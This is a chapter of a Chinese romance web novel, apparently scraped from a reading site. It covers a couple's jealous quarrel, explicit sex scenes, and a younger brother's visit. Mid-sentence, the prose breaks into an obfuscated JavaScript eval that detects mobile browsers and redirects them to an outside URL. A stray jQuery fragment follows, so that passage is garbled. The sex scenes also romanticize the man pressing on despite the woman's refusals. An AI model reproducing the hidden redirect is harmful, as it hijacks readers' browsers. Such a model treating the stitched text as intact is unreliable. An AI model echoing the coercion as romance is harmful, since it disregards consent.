52. 第 52 章

作品:《火焰流星

    晚七点,夏乙离开公司。


    路上遇到红灯,她抽空给小灵通打了个电话。


    小灵通在前天就已经考完放假,不过这两天公司有事,夏乙一直没腾出时间回去接他。


    她开着免提,说:【你收拾好东西,明天下午我回去接你。】


    小灵通:【太好了,终于能见到姐姐了,终于能去市里玩了。】


    她笑问:【那你说到底是想见我,还是想来玩啊?】


    小灵通:【当然是见姐姐啦,玩哪有姐姐重要,想玩随时都能玩,但见姐姐就不一定了,你平时这么忙,连给我打个电话都没空,见你一面可不容易。】


    夏乙忽然心里生出愧:【那这次我陪你久一点,你可以在这里住上一个暑假,让你待个够。】


    小灵通:【太好啦!】


    夏乙随便吃了点东西后,回到家,还是百无聊赖瘫在沙发上等着严鸣齐回来。


    他今晚又应酬,和以前一样,夏乙时不时就会收到他发过来的报备信息。


    怕耽误他工作,她每条都只是回个“嗯,好”之类的,让他知道,她是收到信息了的。


    大约九点半,严鸣齐发来一条:【我喝多了宝宝,来接我。】


    这是严鸣齐第一次要求她去接,夏乙怕他出事,立马换衣服,下楼开车。


    到达他所在的那家酒楼,她把车停在路边,刚要下车,就透过车窗看到酒楼门口,严鸣齐正被一个女搀着胳膊。


    女人大约三十岁左右,身材火辣,长得也过得去,她似乎对严鸣齐颇有好感,一个劲的往他身上贴,胸口几乎都要送到他脸上了。


    严鸣齐面颊潮红,晃晃荡荡,蹙着眉甩掉胳膊上的手,一抬眼就看到路边停着的那辆黑色奥迪。


    夏乙已经到了,为什么不过来接他。


    他又难受,又生气。


    女人还是贴上来,谄媚道:“严总,你喝多了,要不我叫个车送你回去吧?”


    这女人是广告方的妹妹,谈事席间她就坐他旁边,总有意无意往他身上靠。


    严鸣齐多少知道她的目的,清醒时一直在婉拒,醉酒后也一直在努力和她保持距离。


    “不用。”他再次甩掉女人。


    “那你这个样子,路上我也不放心啊。”女人说。


    严鸣齐看向门外:“没事,我老婆来接我了。”


    女人万万没想到严鸣齐是有老婆的,她还以为他这么年轻,连对象都没有呢。


    “你,你老婆?”她不敢相信。


    “嗯,就在那边。”他指着外面那辆奥迪车。


    这时,酒楼里面又出来一个男人,是这女人的哥,男人也喝多了,东倒西歪含糊不清看着严鸣齐道:“严总,那个,合作愉快啊,慢走啊。”


    夏乙终于过来接人,她笑着看那一男一女,说:“两位老板,那我们就先走了,你们回去路上慢点。”


    女人楞楞地看着眼前这个清秀漂亮的女孩,明白自己为什么会被拒绝了。


    夏乙把严鸣齐扶到副驾,给他系上安全带,他今天大概真多了,瘫在座位一动也不动。


    夏乙安静开车,没有打扰他,他也闭着眼,不说话。


    在热闹的马路上,车内却安静的掉根针都能听见。


    半小时后,到家,夏乙扶着他上楼进门。


    “不用扶,我自己能走。”严鸣齐耍上小脾气。


    “哦。”


    夏乙松开他,自顾自往客厅走。


    严鸣齐没想到她还真不扶了,气得甩掉西装外套,长腿往前跨两步,拉住她胳膊。


    夏乙摔进他怀里,直懵,问:“你干嘛啊?”


    “夏乙,你到底爱不爱我?”他低头咬着牙问。


    怎么突然这样问。


    夏乙忽闪着眼睫,说:“我爱你啊。”


    “在酒楼,你看见那个女人了对吧,你为什么不立刻过来接我?”他语气带着一丝责问,但更多的是委屈。


    原来是因为这个。


    夏乙解释:“我是怕你们没有谈完事啊,我怕打扰你们。”


    “没有什么事是需要那样谈的,有女人往我身上贴,你都不生气吗?”严鸣齐似乎清醒了,幽黑眼眸里满是认真地盯着她问。


    “你们不也没怎么样吗。”夏乙偏头,躲开他视线,“而且你去应酬,发生这样的事也是在所难免的。”


    “在所难免?”严鸣齐气得发笑,后撤半步,他眼睫湿漉,憋着一股气,“为什么,为什么你总是这么理智,连爱人都这么理智,是不是你根本就不爱我,所以我怎样你都不会在意。”


    夏乙也急了,看着他眼睛说:“我在意你啊,你说喝多了,我马上就出门去接你,我担心你出事,路上我一秒都没有耽误。”


    “那为什么我出门跟你报备,你每次回复都那么冷淡,你根本不在乎我去了哪,跟谁,夏乙,我对你来说到底算什么?”他情绪激动,声音越来越大。


    夏乙没有想过他会因为这样的小事和她吵,她也很委屈。


    客厅里的空气被两人的低气压凝固,好压抑,好压抑。


    她没有回他的话,她安静的那仅仅几秒,就让严鸣齐慌了。


    她不能什么都不说,她说点什么都好。


    他往前半步,捏住她肩膀,很小声叫:“夏乙...”


    夏乙终于开口:“我没有对你冷淡,我只是怕耽误你工作,所以回复的就简短了些。”


    “我在乎你去哪,跟谁,可这些你都会主动跟我说,不需要我来问,如果你不做这些,我肯定会打电话问你的。”


    “而且,我也相信你不会背叛我,你是我男朋友,你是严鸣齐,我信任你,我没有问你为什么跟别的女人靠的近,是因为我理解你。”


    “我都没有闹,严鸣齐,你到底在闹什么啊?”


    “你也知道我和别人靠的近。”严鸣齐泄了气似的语气发弱,“我倒希望你不那么理智,希望你闹,可是你偏偏不闹。”


    “所以你是故意让我看见有女人往你身上贴的吗?”她望着他,眸中恢复冷静。


    “我没有。”


    “那还有什么可说的。”夏乙想离开这里。


    男人红着眼眶,不让她走:“夏乙,我求求你,能不能对我好一点,能不能多爱爱我,你总是这样,我真的很难受。”


    “我爱你啊严鸣齐,你不要总是怀疑好不好,你总这样,我也很难受。”她去掰肩膀上的手,“你需要冷静,你喝多了,我们明天再说。”


    他眼底落下泪,抓她更紧:“我没有怀疑你,对不起夏乙,我不该跟你大声说话,你别走,我会和其他女人保持距离,我只爱你,你也答应我,只爱我好不好。”


    夏乙被他折磨的心脏酸痛,她勾上他脖颈:“严鸣齐,我爱你,只爱你。”


    她目光如水,踮起脚吻上他,这是第一次,她真正主动去吻他。


    严鸣齐觉得好开心,他加深这个吻,托着她到卧室。


    她把他衬衫脱下去,甩掉地上,说:“这件沾了别的女人气味的衬衫扔了,重新买。”


    严鸣齐笑:“好扔了,听你的,我什么都听你的。”他喉结一滑,“让我进去吧,宝宝。”


    “你不要总是说出来。”她不满。


    “让我进,宝宝。”没皮没脸。


    她打他一巴掌。


    他攥住她腕骨,贴在鼻尖闻:“宝宝的手好香,打得疼吗?”


    “给我滚啊。”


    床单被蹭的满是褶皱,她被他逼着叫老公。


    “我不要,你别强迫我。”


    他猛地撞上去,“早晚会让你叫。”


    “你个混蛋!”


    “骂我再加一个小时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936531|187733||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    结束后,她被他抱着去洗,然后回到床上。


    严鸣齐给她盖上薄被,听着她迷迷糊糊说,明天要接小灵通来市里住,大概住上一个半月。


    ……整个暑假?


    严鸣齐感觉天塌了。


    -


    小灵通第一次来市里,兴奋的像个大马猴,在车上都坐不住,一会说市里的楼真高,一会说外面的灯光真好看。


    夏乙笑着问他饿了没。


    他说饿。


    严鸣齐还有事没忙完,夏乙就直接带着他去餐厅吃饭。


    吃完回到家,时间已过八点,严鸣齐才终于回来。


    平常他都是在夏乙的房间睡,这次小灵通来,他就得乖乖回去和小孩睡了。


    他忍受不了不能和夏乙亲近,就趁小灵通洗澡时,溜进主卧。


    他太贪了,缠的她太久,等出去时正好和刚洗完的小灵通撞上。


    小灵通眨着单纯的眼,问:“鸣齐哥哥,你去姐姐房里干什么?”


    严鸣齐扯谎:“哦,你姐姐卫生间里的花洒坏了,我去看看。”


    “哦。”


    半夜,等小灵通睡着了,他又溜进去,逼着身下的人叫老公。


    小灵通半夜起来尿尿,发现旁边没人,就去夏乙门口问。


    夏乙努力平复气息,朝门外回:“鸣齐哥哥出门买东西去了,你先睡吧。”


    话落,男人使坏,让她不小心出了声。


    “你怎么了姐姐?”小灵通担心问。


    “没,没事,你快去睡。”


    门口没了动静,夏乙才骂:“你神经啊,小灵通还是小孩,叫他听见了怎么办。”


    “错了宝宝,我只是觉得很刺/激,我们现在像在偷/情。”


    “有病。”


    “加一个小时。”


    她被翻过去,听见他在身后说:“抬高。”


    不知怎的,夏乙突然心里很委屈,她鼻子一酸,一下哭出来。


    “严鸣齐,你是不是把我当玩具?”


    他把着她的腰:“我没有啊,宝宝,你怎么会这么想。”


    “你都不管我舒不舒服,你总是随意玩弄我。”


    听到她在哭,严鸣齐马上停下,出去,让她躺回来。


    他俯下身,给她擦泪,温声:“不是这样的,你别哭,对不起让你不舒服了,那我让你玩好不好?”


    “我不会。”


    “那我应该怎么做,你才能不生气?”


    “我不知道,我就是恨你,你对我不好。”她还是哭。


    “那我跪下给你道歉。”


    哎?


    这个可以。


    “行。”她说。


    他轻笑了下:“你个坏蛋。”


    夏乙擦掉眼泪:“是你自己说的,你不会说话不算数吧?”


    “好。”严鸣齐真的跪着。


    他原本也是跪着的,但现在的跪和刚刚的跪可不一样。


    夏乙曲着腿,用脚尖去点严鸣齐的腹肌。


    一点一点,到处磨。


    “练的不错。”夏乙看着他腹肌说,“什么时候练的呢?”


    严鸣齐保持跪姿:“你不在的时候,我都在练,宝宝满意吗?”


    她笑说:“嗯,有心了。”


    “那我要跪到什么时候,宝宝大人。”他皱着眉委屈巴巴。


    夏乙想了想:“嗯...五分钟后吧。”


    严鸣齐微笑:“那五分钟后我就可以继续了,是吗?”


    “不,五分钟后就滚回你的房间。”


    男人那双原本就漆黑的眸又暗下一格,她的脚腕被一只手倏地握住,拉过去。


    “宝宝,你哭吧,我喜欢听你哭。”


    “严鸣齐!”


    后来...夏乙卫生间里的所有零件都坏了一遍。